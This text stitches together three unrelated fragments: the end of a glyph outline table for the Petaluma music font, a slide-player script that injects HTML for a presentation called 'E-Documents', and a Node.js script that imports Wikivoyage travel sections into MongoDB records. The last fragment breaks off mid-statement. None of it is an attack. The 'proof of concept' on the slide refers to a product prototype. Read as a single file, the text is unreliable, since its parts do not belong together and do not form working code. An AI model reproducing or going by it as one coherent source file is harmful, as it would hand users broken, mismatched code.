639 455 b 589 461 602 461 592 461 b 348 328 500 461 409 408 b 269 120 302 268 269 199 b 379 -19 269 45 318 -19 b 393 -17 383 -19 389 -19 z m 395 240 b 494 383 418 300 452 344 l 521 405 b 544 419 528 409 536 418 b 554 415 547 419 550 418 b 570 383 564 406 570 396 l 570 379 b 552 331 570 360 562 344 b 395 240 511 285 462 253 z m 171 425 b 156 442 160 425 156 429 b 157 475 157 452 157 464 b 164 602 161 517 164 560 b 161 698 164 635 163 667 b 184 729 161 720 167 729 l 193 729 b 348 563 278 719 348 641 b 346 539 348 554 347 547 b 171 425 328 459 229 422 z m 827 89 b 792 111 815 89 804 96 b 766 204 775 131 766 158 b 845 360 772 256 799 314 b 871 372 854 369 863 372 b 897 366 880 372 888 369 b 978 279 942 353 963 320 b 976 259 981 272 981 265 b 858 104 942 203 909 147 b 827 89 847 94 837 89 z m 979 6 b 1008 13 986 6 995 9 b 1081 101 1047 29 1079 46 b 1116 449 1087 217 1104 333 b 1143 654 1123 518 1133 586 b 1148 685 1145 664 1148 675 b 1140 704 1148 693 1146 700 b 1107 716 1130 713 1119 716 b 1056 706 1092 716 1073 710 b 1037 671 1035 703 1038 685 b 1004 439 1025 595 1014 517 b 986 419 1001 428 999 419 b 979 419 985 419 982 420 b 935 426 965 423 949 425 b 795 376 884 426 838 405 b 664 153 714 323 664 249 b 665 130 664 145 665 138 b 753 29 671 65 704 29 b 815 40 773 29 792 33 b 975 147 873 65 923 101 b 965 45 971 108 968 76 b 979 6 963 17 966 6 z m 1282 12 b 1336 35 1303 14 1320 23 b 1359 71 1351 45 1359 58 b 1338 102 1359 82 1352 95 b 1254 130 1312 118 1284 130 b 1187 88 1223 130 1202 109 b 1178 65 1182 81 1178 72 b 1195 37 1178 55 1182 45 b 1282 12 1223 23 1253 19 z' }, 'keyboardPedalUp': { 'x_min': 0, 'x_max': 436.6015132318337, 'y_min': 0, 'y_max': 461, 'ha': 461, 'o': 'm 330 0 b 334 1 331 0 333 0 b 340 12 338 4 340 7 l 338 26 b 340 264 338 105 338 184 b 526 95 400 206 461 148 b 559 71 536 88 547 71 b 564 72 560 71 563 71 b 580 121 580 79 580 102 l 580 127 b 543 203 585 158 573 184 b 472 259 518 219 495 238 l 445 285 b 590 292 494 288 541 291 b 622 318 609 294 618 302 b 628 359 625 331 626 346 b 586 402 632 393 621 405 b 464 395 546 399 504 396 l 559 491 b 567 524 567 500 567 510 b 564 543 567 527 567 536 b 539 596 559 563 560 590 b 494 564 521 600 508 577 b 340 413 442 514 390 464 l 340 560 b 287 664 340 600 321 632 b 271 518 274 612 272 566 b 268 445 269 494 269 469 b 117 569 219 488 168 530 b 96 579 109 575 102 579 b 85 560 89 579 85 573 b 124 446 85 518 82 477 b 209 380 153 426 181 403 b 45 374 154 377 99 376 b 0 324 9 374 0 359 b 63 266 0 265 1 265 b 144 272 89 269 117 272 l 196 272 b 108 193 167 246 138 219 b 60 135 76 164 60 151 b 99 73 60 121 73 105 b 104 68 101 72 102 71 b 114 58 107 60 111 58 b 130 66 120 58 124 62 b 259 186 173 107 217 145 b 256 117 259 163 256 140 b 311 13 256 72 271 37 b 330 0 317 10 323 0 z' }, 'pictChokeCymbal': { 'x_min': 1, 'x_max': 147, 'y_min': 0, 'y_max': 242, 'ha': 242, 'o': 'm 79 4 b 207 158 153 32 192 88 b 212 200 210 173 212 187 b 143 336 212 253 187 298 b 98 348 131 344 115 348 b 4 295 60 348 16 327 b 1 276 1 289 1 282 b 9 249 1 266 3 258 b 121 183 35 206 72 183 b 156 186 132 183 144 183 b 26 53 134 115 91 73 b 7 39 13 49 7 45 b 19 20 7 33 12 27 b 59 0 30 9 43 0 b 79 4 65 0 72 1 z' }, 'wiggleArpeggiatoUp': { 'x_min': -22, 'x_max': 300, 'y_min': 0, 'y_max': 176, 'ha': 176, 'o': 'm 173 4 b 196 0 180 1 189 0 b 246 26 215 0 230 9 b 301 117 271 53 285 85 b 312 131 305 125 307 131 b 327 124 315 131 321 128 b 373 86 341 112 353 101 b 412 69 389 75 402 69 b 432 94 425 69 432 79 b 373 181 432 117 413 154 b 235 252 323 216 285 245 b 220 253 229 253 225 253 b 168 215 196 253 181 240 b 111 112 151 180 140 141 b 94 102 105 105 99 102 b 78 111 89 102 84 105 b 0 181 55 135 35 160 b -32 153 -20 194 -32 168 b 0 86 -32 124 -32 109 b 94 36 22 71 73 46 b 173 4 134 16 131 17 z' }, 'arrowheadBlackUp': { 'x_min': 186, 'x_max': 820, 'y_min': -1000, 'y_max': 1000, 'ha': 2000, 'o': 'm 1181 1440 l 268 1440 l 268 -1440 l 1181 -1440 z m 959 -524 l 959 -850 l 481 -850 l 481 -524 z m 864 -619 l 576 -619 l 576 -755 l 864 -755 z m 959 -26 l 959 -351 l 481 -351 l 481 -26 l 576 -26 l 576 -256 l 864 -256 l 864 -121 l 769 -121 l 769 -187 l 671 -187 l 671 -26 z m 959 325 l 959 37 l 481 37 l 481 135 l 864 135 l 864 325 z m 959 498 l 959 403 l 769 403 l 769 202 l 481 202 l 481 297 l 671 297 l 671 403 l 481 403 l 481 498 z m 671 778 l 576 778 l 576 674 l 671 674 z m 769 876 l 769 674 l 959 674 l 959 576 l 481 576 l 481 876 z m 959 1247 l 959 1152 l 769 1152 l 769 1045 l 959 1045 l 959 950 l 481 950 l 481 1045 l 671 1045 l 671 1152 l 484 1152 l 484 1247 z m 959 -916 l 959 -1011 l 867 -1011 l 665 -1146 l 959 -1146 l 959 -1241 l 481 -1241 l 481 -1146 l 683 -1011 l 481 -1011 l 481 -916 z' }, 'arrowheadBlackDown': { 'x_min': 186, 'x_max': 820, 'y_min': -1000, 'y_max': 1000, 'ha': 2000, 'o': 'm 1181 1440 l 268 1440 l 268 -1440 l 1181 -1440 z m 959 -524 l 959 -850 l 481 -850 l 481 -524 z m 864 -619 l 576 -619 l 576 -755 l 864 -755 z m 959 -26 l 959 -351 l 481 -351 l 481 -26 l 576 -26 l 576 -256 l 864 -256 l 864 -121 l 769 -121 l 769 -187 l 671 -187 l 671 -26 z m 959 325 l 959 37 l 481 37 l 481 135 l 864 135 l 864 325 z m 959 498 l 959 403 l 769 403 l 769 202 l 481 202 l 481 297 l 671 297 l 671 403 l 481 403 l 481 498 z m 671 778 l 576 778 l 576 674 l 671 674 z m 769 876 l 769 674 l 959 674 l 959 576 l 481 576 l 481 876 z m 959 1247 l 959 1152 l 769 1152 l 769 1045 l 959 1045 l 959 950 l 481 950 l 481 1045 l 671 1045 l 671 1152 l 484 1152 l 484 1247 z m 959 -916 l 959 -1011 l 867 -1011 l 665 -1146 l 959 -1146 l 959 -1241 l 481 -1241 l 481 -1146 l 683 -1011 l 481 -1011 l 481 -916 z' }, 'arpeggiatoUp': { 'x_min': 0, 'x_max': 262, 'y_min': 0, 'y_max': 1459, 'ha': 1459, 'o': 'm 190 0 b 160 63 187 29 170 45 b 145 108 150 81 145 95 b 183 163 145 128 157 145 b 300 246 222 190 262 216 b 347 318 333 272 347 295 b 301 393 347 341 331 364 b 258 413 289 403 272 408 b 145 449 220 425 183 436 b 117 464 135 452 120 452 b 140 491 115 477 128 484 b 294 593 192 526 243 557 b 330 647 318 611 330 626 b 314 693 330 660 324 675 b 262 736 302 714 285 729 b 170 763 230 744 200 753 b 122 783 153 768 125 768 b 160 831 120 804 143 818 b 288 922 202 861 246 890 b 333 999 318 945 333 972 b 266 1083 333 1032 310 1064 b 189 1115 240 1094 215 1103 b 122 1178 145 1133 122 1153 b 168 1250 122 1200 138 1223 l 180 1257 b 269 1333 210 1283 240 1306 b 305 1405 294 1356 305 1381 b 284 1469 305 1426 298 1447 b 228 1525 269 1492 251 1511 b 183 1600 197 1545 183 1571 b 190 1640 183 1613 184 1626 b 197 1670 193 1650 194 1660 b 272 1735 213 1719 230 1735 b 295 1734 279 1735 287 1735 b 323 1732 305 1732 314 1732 b 350 1731 333 1732 341 1732 b 377 1742 369 1729 377 1732 b 370 1761 377 1747 374 1754 l 301 1898 b 217 2066 274 1954 248 2012 b 186 2101 204 2089 196 2101 b 154 2069 177 2101 167 2091 b 12 1824 105 1987 59 1907 b 0 1787 4 1810 0 1797 b 59 1744 0 1761 20 1745 b 160 1738 92 1744 125 1740 b 145 1692 156 1721 151 1706 b 135 1633 138 1672 135 1652 b 184 1518 135 1591 151 1552 b 229 1475 199 1503 213 1488 b 259 1431 249 1456 259 1444 b 229 1388 259 1420 249 1407 b 151 1325 203 1365 177 1345 b 105 1279 134 1310 118 1296 b 73 1202 84 1251 73 1227 b 108 1123 73 1176 85 1152 b 255 1031 148 1077 199 1051 b 282 1014 274 1025 282 1021 b 262 991 282 1008 275 1001 b 151 914 226 963 189 939 b 79 851 125 896 99 877 b 63 809 69 837 63 824 b 79 769 63 796 68 783 b 202 697 111 729 154 710 b 266 670 225 690 266 688 b 210 622 266 648 232 635 b 82 534 167 593 120 570 b 55 491 63 518 55 505 b 79 448 55 478 63 465 b 255 361 127 395 192 380 b 288 343 269 359 288 357 b 266 312 288 331 275 320 b 144 223 229 278 184 253 b 85 134 104 193 85 166 b 118 53 85 111 96 85 b 190 0 135 29 160 14 z' }, 'arpeggiatoDown': { 'x_min': 0, 'x_max': 218, 'y_min': 0, 'y_max': 1440, 'ha': 1440, 'o': 'm 161 16 b 310 261 210 98 259 180 b 314 275 312 266 314 271 b 302 295 314 282 310 289 b 252 311 287 308 269 311 b 217 310 240 311 229 310 b 190 333 202 310 194 315 b 151 412 186 363 171 389 b 102 501 120 452 102 477 b 150 588 102 524 118 547 b 161 603 154 592 158 598 b 181 661 176 622 181 641 b 173 704 181 675 179 690 b 86 795 156 746 121 770 b 53 829 63 811 53 819 b 78 868 53 840 62 851 b 102 888 85 876 94 883 b 180 956 128 912 156 933 b 216 1028 204 979 216 1002 b 203 1081 216 1044 212 1061 b 115 1171 186 1123 148 1145 b 75 1221 88 1191 75 1207 b 114 1272 75 1237 88 1251 b 173 1308 132 1284 154 1296 b 226 1339 190 1318 209 1328 b 265 1405 253 1359 265 1380 b 258 1447 265 1418 264 1431 b 154 1541 242 1499 199 1521 b 109 1581 124 1555 109 1567 b 141 1627 109 1594 121 1608 b 204 1680 163 1646 184 1662 b 233 1742 223 1699 233 1719 b 226 1777 233 1752 230 1764 b 135 1862 210 1822 173 1840 b 104 1895 114 1875 104 1884 b 118 1930 104 1904 109 1914 b 192 2006 135 1961 161 1986 b 206 2029 203 2013 206 2022 b 192 2064 206 2040 197 2052 b 180 2074 187 2071 184 2074 b 156 2061 171 2074 163 2065 b 84 1983 125 2040 102 2013 b 65 1921 71 1961 65 1941 b 88 1853 65 1899 72 1876 b 171 1784 108 1820 138 1801 b 190 1764 184 1777 190 1770 b 174 1741 190 1757 184 1750 b 107 1683 153 1722 128 1704 b 68 1610 81 1659 68 1636 b 88 1548 68 1591 75 1571 b 177 1470 109 1512 141 1489 b 223 1431 209 1453 223 1443 b 179 1390 223 1420 209 1408 b 128 1361 163 1380 145 1371 b 71 1322 108 1348 88 1338 b 32 1253 45 1300 32 1277 b 48 1198 32 1236 37 1218 b 147 1090 71 1152 108 1120 b 174 1057 166 1076 174 1067 b 153 1022 174 1047 167 1037 b 109 982 140 1008 124 995 b 37 919 85 962 59 942 b 9 860 17 899 9 880 b 26 806 9 844 14 827 b 120 717 50 769 84 740 b 138 691 132 708 138 700 b 130 668 138 684 135 677 b 92 618 118 651 105 635 b 59 531 71 589 59 560 b 84 455 59 507 68 481 b 132 386 98 431 115 408 b 148 341 144 372 148 357 b 144 317 148 333 147 324 b 121 305 140 307 131 305 l 98 305 b 82 304 94 304 88 304 l 32 304 b 0 292 10 304 0 302 b 12 266 0 287 4 279 b 60 164 32 233 46 199 b 127 20 84 117 105 68 b 144 0 132 9 137 0 b 161 16 150 0 154 4 z' }, 'repeat1Bar': { 'x_min': 0, 'x_max': 599.1057280164835, 'y_min': -250, 'y_max': 175, 'ha': 425, 'o': 'm 76 -334 b 181 -285 111 -315 148 -302 b 831 52 396 -168 613 -58 b 863 114 855 63 864 82 b 828 202 855 140 855 176 b 808 213 821 209 815 213 b 793 209 804 213 799 212 l 422 19 b 26 -179 291 -48 164 -124 b 0 -213 10 -186 0 -196 b 3 -232 0 -219 0 -225 b 52 -325 14 -265 37 -294 b 66 -337 55 -331 59 -337 b 76 -334 69 -337 72 -336 z m 216 98 b 255 75 236 84 246 75 b 291 104 265 75 274 85 b 323 147 304 117 327 125 b 289 215 323 168 314 184 b 238 252 269 239 253 252 b 187 222 222 252 207 242 b 173 206 183 216 177 212 b 157 170 163 194 157 183 b 174 138 157 160 161 150 b 216 98 189 127 200 109 z m 769 -360 b 829 -264 779 -360 829 -284 b 769 -176 822 -232 799 -200 b 742 -163 760 -167 750 -163 b 716 -184 733 -163 723 -168 b 683 -228 708 -202 693 -213 b 672 -253 675 -236 672 -245 b 683 -281 672 -262 675 -271 b 752 -353 703 -308 732 -327 b 769 -360 756 -357 763 -360 z' }, 'repeat2Bars': { 'x_min': 0.008571918423331715, 'x_max': 775, 'y_min': -246.92374029115243, 'y_max': 362.82068246705313, 'ha': 609.7444227582056, 'o': 'm 909 412 b 873 351 906 384 893 367 b 436 50 729 249 585 147 b 91 -179 321 -26 206 -102 b 62 -174 76 -189 68 -183 b 12 -96 48 -147 24 -125 b 36 -16 -7 -53 -6 -43 b 220 104 96 24 158 65 b 819 507 425 232 624 369 b 881 495 852 530 861 528 b 909 412 899 469 900 439 z m 1116 228 b 1067 158 1115 192 1092 174 b 910 59 1015 125 963 92 b 478 -240 762 -33 622 -140 b 311 -350 423 -279 366 -314 b 285 -344 298 -360 289 -356 b 239 -258 272 -314 251 -288 b 261 -196 228 -228 235 -210 b 517 -29 348 -144 436 -91 b 1030 321 681 98 861 202 b 1093 307 1060 343 1076 340 b 1116 228 1107 281 1109 252 z m 1070 -105 b 1020 -210 1057 -143 1038 -176 b 998 -210 1014 -219 1004 -215 b 924 -153 973 -192 949 -171 b 913 -88 899 -135 897 -112 b 949 -22 926 -66 939 -45 b 998 -7 960 6 976 9 b 1070 -105 1032 -32 1058 -63 z m 333 338 b 302 240 330 307 317 274 b 276 235 297 225 287 228 b 233 269 262 246 248 258 b 203 376 186 307 183 318 b 225 441 212 397 217 419 b 246 454 228 452 232 458 b 333 338 284 441 333 380 z' }, 'repeat4Bars': { 'x_min': 0, 'x_max': 1374, 'y_min': -304, 'y_max': 304, 'ha': 608, 'o': 'm 815 -367 b 829 -359 819 -367 824 -364 b 851 -343 835 -353 844 -347 b 1375 6 1027 -228 1205 -117 l 1610 170 b 1644 235 1632 184 1643 203 b 1626 300 1639 253 1634 276 b 1590 337 1614 325 1604 337 b 1551 320 1580 337 1567 330 b 873 -135 1329 161 1103 10 b 749 -222 829 -161 785 -184 b 737 -245 742 -230 737 -238 b 742 -261 737 -249 739 -255 b 802 -357 755 -297 782 -325 b 815 -367 805 -363 809 -367 z m 291 148 b 325 223 302 148 308 170 b 333 256 328 235 330 246 b 264 363 330 305 298 336 b 242 373 255 369 248 373 b 220 347 232 373 225 364 b 202 288 216 327 213 305 b 190 252 193 275 190 262 b 222 200 190 232 202 215 b 291 148 264 170 279 148 z m 78 -266 b 92 -258 82 -266 88 -264 b 114 -240 98 -251 107 -246 b 638 107 289 -125 467 -14 b 873 271 716 161 793 216 b 907 337 894 285 906 305 b 887 400 901 354 897 379 b 852 438 877 426 867 438 b 814 420 842 438 829 432 b 135 -33 592 262 366 111 b 12 -121 92 -60 48 -84 b 0 -144 4 -128 0 -135 b 4 -160 0 -148 1 -154 b 63 -255 17 -196 45 -223 b 78 -266 68 -262 72 -266 z m 396 -360 b 408 -356 400 -360 403 -359 b 609 -223 471 -307 543 -269 b 896 -19 706 -156 795 -81 b 1164 154 985 37 1074 96 b 1214 223 1189 170 1211 187 b 1176 321 1204 253 1205 292 b 1159 330 1169 327 1165 330 b 1145 324 1155 330 1151 328 b 1048 258 1113 302 1081 278 b 357 -202 809 117 598 -65 b 333 -238 341 -212 333 -223 b 338 -262 333 -245 334 -253 b 384 -350 350 -294 372 -318 b 396 -360 386 -354 390 -360 z m 1162 -438 b 1174 -433 1166 -438 1169 -436 b 1374 -300 1237 -384 1309 -346 b 1660 -96 1470 -233 1561 -158 b 1930 76 1751 -39 1840 19 b 1979 147 1954 92 1977 109 b 1943 243 1968 177 1971 216 b 1924 253 1935 251 1930 253 b 1911 248 1920 253 1915 252 b 1814 181 1878 225 1848 202 b 1123 -279 1575 40 1364 -141 b 1099 -315 1106 -289 1099 -300 b 1103 -338 1099 -321 1100 -330 b 1149 -426 1115 -370 1138 -396 b 1162 -438 1151 -432 1156 -438 z m 1875 -295 b 1882 -291 1878 -295 1879 -294 b 1934 -189 1904 -258 1921 -223 b 1872 -96 1925 -147 1901 -120 b 1840 -78 1858 -84 1848 -78 b 1812 -109 1830 -78 1823 -88 l 1777 -173 b 1770 -199 1773 -181 1770 -190 b 1786 -230 1770 -210 1774 -220 b 1862 -289 1809 -253 1837 -269 b 1875 -295 1865 -292 1871 -295 z' }, 'repeatBarSlash': { 'x_min': 0, 'x_max': 630, 'y_min': -225.19160170741762, 'y_max': 265.12618221237005, 'ha': 490.31778391978764, 'o': 'm 78 -324 b 92 -314 82 -325 88 -321 b 114 -298 96 -307 107 -302 b 638 49 289 -183 467 -72 b 873 215 716 104 792 161 b 907 279 894 229 906 248 b 887 344 901 298 897 321 b 852 382 877 369 867 380 b 814 363 842 383 829 376 b 135 -91 603 192 364 55 b 12 -177 92 -118 45 -137 b 0 -202 4 -186 0 -192 b 4 -217 0 -206 1 -212 b 63 -312 17 -253 42 -284 b 78 -324 68 -318 72 -323 z' } }, 'fontFamily': 'Petaluma', 'resolution': 1000, 'generatedOn': '2020-04-13T11:57:51.948Z' };
(function(){var loadHandler=window['sl_{8CCCE1B1-A993-4226-B2A0-486112F543C4}'];loadHandler&&loadHandler(0, '<div id="spr0_9f9303"><div id="spr1_9f9303" class="kern"><img id="img0_9f9303" src="data/img0.png" width="720px" height="540px" alt="" style="left:0px;top:0px;"/></div><div id="spr2_9f9303" class="kern"><div id="spr3_9f9303" style="left:36px;top:21.625px;"><div style="width:0px;"><span id="txt0_9f9303" data-width="239.056641" style="left:204.58px;top:13.034px;">E-Documents</span></div></div><div id="spr4_9f9303" style="left:36px;top:126px;"><div style="width:0px;"><span id="txt1_9f9303" data-width="74.716797" style="left:286.92px;top:34.67px;">Warning:</span></div><div style="width:0px;"><span id="txt2_9f9303" data-width="137.753906" style="left:419.029px;top:64.344px;">proof of concept</span></div><div style="width:0px;"><span id="txt3_9f9303" data-width="411.445313" style="left:7.2px;top:63.47px;">The product presented further in this document is </span><span id="txt4_9f9303" data-width="137.753906" style="left:418.155px;top:63.47px;">proof of concept</span><span id="txt5_9f9303" data-width="42.128906" style="left:555.605px;top:63.47px;"> (PoC</span></div><div style="width:0px;"><span id="txt6_9f9303" data-width="595.361328" style="left:7.2px;top:87.47px;">further in document) and is lacking design, some useful features and may</span></div><div style="width:0px;"><span id="txt7_9f9303" data-width="432.148438" style="left:7.2px;top:111.47px;">require other changes before actual implementation.</span></div><div style="width:0px;"><span id="txt8_9f9303" class="relpos" data-width="49.453125" style="left:7.2px;top:140.27px;">Go to </span><a id="hl0_9f9303" class="relpos" href="#" onclick="document.getElementById(\'coreSpr_10457781\').getCore().processTriggerEffect(this);document.getElementById(\'coreSpr_10457781\').getCore().gotoSlide(20);return false;"><span id="txt9_9f9303" class="relpos" data-width="71.601563" style="left:7.195px;top:140.27px;">this slide</span></a><span id="txt10_9f9303" class="relpos" data-width="495.488281" style="left:7.19px;top:140.27px;"> to see what is required\\suggested for implementation in the</span></div><div style="width:0px;"><span id="txt11_9f9303" data-width="562.646484" style="left:7.2px;top:164.27px;">product during further development. Or simply follow the document.</span></div><div style="width:0px;"><span id="txt12_9f9303" class="relpos" data-width="593.154297" style="left:7.2px;top:250.67px;">If you already watched the presentation, you can go directly to PoC right </span><a id="hl1_9f9303" class="relpos" href="https://www.simbiat.ru/edocuments/" title="https://www.simbiat.ru/edocuments/" target="_blank" onclick="document.getElementById(\'coreSpr_10457781\').getCore().processTriggerEffect(this);return document.getElementById(\'coreSpr_10457781\').getCore().gotoLink(this);"><span id="txt13_9f9303" class="relpos" data-width="37.382813" style="left:7.195px;top:250.67px;">here</span></a><span id="txt14_9f9303" class="relpos" style="left:7.19px;top:250.67px;">.</span></div><div style="width:0px;"><span id="txt15_9f9303" class="relpos" data-width="358.164063" style="left:7.2px;top:303.47px;">MS PowerPoint version can be downloaded </span><a id="hl2_9f9303" class="relpos" href="https://www.simbiat.ru/edocuments/edocuments_public.pptx" title="https://www.simbiat.ru/edocuments/edocuments_public.pptx" target="_blank" onclick="document.getElementById(\'coreSpr_10457781\').getCore().processTriggerEffect(this);return document.getElementById(\'coreSpr_10457781\').getCore().gotoLink(this);"><span id="txt16_9f9303" class="relpos" data-width="37.382813" style="left:7.195px;top:303.47px;">here</span></a><span id="txt17_9f9303" class="relpos" style="left:7.19px;top:303.47px;">.</span></div></div></div></div>');})();
/*jshint esversion: 6 */ //useage: node importData2DB.js City PRODUCTION OPDB ---> for content type City //useage: node importData2DB.js Att PRODUCTION OPDB ---> for content type Attraction const fs = require('fs') const MongoClient = require('mongodb').MongoClient const wikiUtil = require('./lib/wikiUtil.js') // const buUtil = require('./lib/bookurUtil.js') const buUtil = require('bookur-util') let ctnTypeId = '' let ctnDetailsTypeId = '' let ctnType = process.argv[2] if(ctnType === 'City'){ ctnTypeId = '57ed26a06d0e810b357b23c7' ctnDetailsTypeId = '587dbe0c6d0e813d6c53b662' } else if(ctnType === 'Att'){ ctnTypeId = '57ea19736d0e81454c7b23d2' ctnDetailsTypeId = '587dbef16d0e81d36d53b660' } else if(ctnType === 'Country'){ ctnTypeId = '57e9e2556d0e819c44dc0fc0' ctnDetailsTypeId = '587dbf5f6d0e81b96d53b660' } else{ ctnTypeId = '57ed26a06d0e810b357b23c7' ctnDetailsTypeId = '587dbe0c6d0e813d6c53b662' ctnType = 'City' } var targetEnv = process.argv[3] var dbOPSwitch = process.argv[4] let operateDB = false let mdbUrl = '' let dbParam = buUtil.getMDBParam(targetEnv, dbOPSwitch) targetEnv = dbParam.targetEnv operateDB = dbParam.operateDB mdbUrl = dbParam.mdbUrl console.log('mdbUrl = %s', mdbUrl) if(!operateDB){ var content4DB = [] var contentDetails4DB = [] } let data = [] if(fs.existsSync('./mapping/compare' + ctnType + 'Result.json')) data = require('./mapping/compare' + ctnType + 'Result.json') if(fs.existsSync('./mapping/compare' + ctnType + 'Manual.json')){ let tmp = require('./mapping/compare' + ctnType + 'Manual.json') data = data.concat(tmp) } if(fs.existsSync('./mapping/compare' + ctnType + 'Correction.json')){ let tmp = require('./mapping/compare' + ctnType + 'Correction.json') data = data.concat(tmp) } if(!data){ console.log('There is no data for imprting! Abort!') process.exit(1) } let main = async () => { let count = data.length let i = 0 while(i<count){ let item = data[i] let wikiDataObj = {} let wikitextObj = {} let wikiImages = [] let content = {} let contentDetails = {} console.log('wikiData = %s, count = %s', item.wikiData, i+1) try{ wikiDataObj = await wikiUtil.getWikiDataById(item.source, item.wikiDataId) } catch(err){ console.log('Get WikiData Error - %s', item.wikiData) throw err } try{ content = await buUtil.getSingleContentById(mdbUrl, item.bookurDataId) } catch(err){ console.log('Get Content Error - %s', item.bookurData) throw err } try{ contentDetails = await buUtil.getSingleContentDetailsByMasterId(mdbUrl, item.bookurDataId) } catch(err){ console.log('Get Content Details Error - %s', item.bookurData) throw err } if(wikiDataObj){ wikitextObj = wikiDataObj.text wikiImages = wikiDataObj.images } if(wikiImages.length){ content.workspace.fields.wikiImages = wikiImages contentDetails.workspace.fields.wikiImages = wikiImages content.workspace.fields.PhotoPath = wikiImages[0].thumb content.workspace.fields.photoPathOriginal = wikiImages[0].url contentDetails.workspace.fields.PhotoPath = wikiImages[0].thumb contentDetails.workspace.fields.photoPathOriginal = wikiImages[0].url } let wikitextKey = [] let wikitextKeyCount = 0 if(wikitextObj){ wikitextKey = Object.keys(wikitextObj) wikitextKeyCount = wikitextKey.length } let j = 0 let overviewClearFlag = true let restaurantClearFlag = true while(j < wikitextKeyCount){ let key = wikitextKey[j] let htmlBody = '' if(ctnType === 'City'){ switch(key){ case 'Intro': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.Overview = '' overviewClearFlag = false content.workspace.fields.Overview = htmlBody contentDetails.workspace.fields.Overview = htmlBody } htmlBody = htmlBody.replace(/<.*?>/g,'') content.workspace.i18n.en.fields.summary = htmlBody contentDetails.workspace.i18n.en.fields.summary = htmlBody break; case 'Understand': if(overviewClearFlag){ //the first time update overview if(wikitextObj['Intro']){ try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj['Intro'][0]) } catch(err){ console.log('Get html from wikitext "Intro" for wikidata %s Error - %s', item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.Overview = '' overviewClearFlag = false content.workspace.fields.Overview = htmlBody contentDetails.workspace.fields.Overview = htmlBody } else{ content.workspace.fields.Overview += '<br /><h2>Introduction</h2><br />' + htmlBody contentDetails.workspace.fields.Overview += '<br /><h2>Introduction</h2><br />' + htmlBody } } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.Overview = '' overviewClearFlag = false content.workspace.fields.Overview = htmlBody contentDetails.workspace.fields.Overview = htmlBody } else{ content.workspace.fields.Overview += '<br /><h2>Understand</h2><br />' + htmlBody contentDetails.workspace.fields.Overview += '<br /><h2>Understand</h2><br />' + htmlBody } } else{ //Not the first time try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.Overview = '' overviewClearFlag = false content.workspace.fields.Overview = htmlBody contentDetails.workspace.fields.Overview = htmlBody } else{ content.workspace.fields.Overview += '<br /><h2>Understand</h2><br />' + htmlBody contentDetails.workspace.fields.Overview += '<br /><h2>Understand</h2><br />' + htmlBody } } break; case 'Get around': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.GettingAround = htmlBody contentDetails.workspace.fields.GettingAround = htmlBody break; case 'Buy': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.Shopping = htmlBody contentDetails.workspace.fields.Shopping = htmlBody break; case 'See': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.Sightseeing = htmlBody contentDetails.workspace.fields.Sightseeing = htmlBody break; case 'Eat': if(!restaurantClearFlag){ content.workspace.fields.Restaurant += '<br />' contentDetails.workspace.fields.Restaurant += '<br />' } else{ restaurantClearFlag = false content.workspace.fields.Restaurant = '' contentDetails.workspace.fields.Restaurant = '' } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.Restaurant += htmlBody contentDetails.workspace.fields.Restaurant += htmlBody break; case 'Drink': if(!restaurantClearFlag){ content.workspace.fields.Restaurant += '<br />' contentDetails.workspace.fields.Restaurant += '<br />' } else{ restaurantClearFlag = false content.workspace.fields.Restaurant = '' contentDetails.workspace.fields.Restaurant = '' } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.Restaurant += htmlBody contentDetails.workspace.fields.Restaurant += htmlBody break; case 'Get in': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.getIn = htmlBody contentDetails.workspace.fields.getIn = htmlBody break; case 'Go next': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.goNext = htmlBody contentDetails.workspace.fields.goNext = htmlBody break; case 'Do': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.do = htmlBody contentDetails.workspace.fields.do = htmlBody break; case 'Sleep': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.sleep = htmlBody contentDetails.workspace.fields.sleep = htmlBody break; case 'Stay safe': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.staySafe = htmlBody contentDetails.workspace.fields.staySafe = htmlBody break; case 'Stay healthy': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.stayHealthy = htmlBody contentDetails.workspace.fields.stayHealthy = htmlBody break; case 